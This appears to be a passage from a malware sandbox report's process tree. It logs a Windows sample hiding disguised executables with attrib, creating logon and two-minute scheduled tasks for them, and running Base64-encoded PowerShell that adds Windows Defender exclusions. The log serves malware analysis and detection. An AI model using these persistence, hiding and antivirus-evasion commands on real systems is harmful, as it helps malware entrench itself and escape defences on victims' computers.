- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe" 2>nul'"
  2⤵
  PID:6912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:224
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6484
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe
      4⤵
      Views/modifies file attributes
      PID:6192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXABcAFQAbwBrAGUAbgBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFQAbwBrAGUAbgBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6940
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2616
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:204
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6728
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6708
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6424
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates
      4⤵
      Views/modifies file attributes
      PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe" 2>nul'"
  2⤵
  PID:6292
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6824
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe
      4⤵
      Views/modifies file attributes
      PID:4216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHkAcwB0AGUAbQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHkAcwB0AGUAbQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwBcAFwAQwByAGUAZABlAG4AdABpAGEAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMAcgBlAGQAZQBuAHQAaQBhAGwASABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6848
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1244
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6668
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7080
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization
      4⤵
      Views/modifies file attributes
      PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe" 2>nul'"
  2⤵
  PID:6744
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6768
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe
      4⤵
      Views/modifies file attributes
      PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AcAB1AHQAUABlAHIAcwBvAG4AYQBsAGkAegBhAHQAaQBvAG4AJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AcAB1AHQAUABlAHIAcwBvAG4AYQBsAGkAegBhAHQAaQBvAG4AXABcAGMAZQByAHQAdQB0AGkAbABfAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGMAZQByAHQAdQB0AGkAbABfAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4860
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5364
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6452
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady" 2>nul'"
  2⤵
  PID:7084
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:412
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady
      4⤵
      Views/modifies file attributes
      PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5800
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6528
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe
      4⤵
      Views/modifies file attributes
      PID:6724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAGwAYQB5AFIAZQBhAGQAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAGwAYQB5AFIAZQBhAGQAeQBcAFwASQBuAHAAdQB0AFMAdwBpAHQAYwBoAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEkAbgBwAHUAdABTAHcAaQB0AGMAaAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
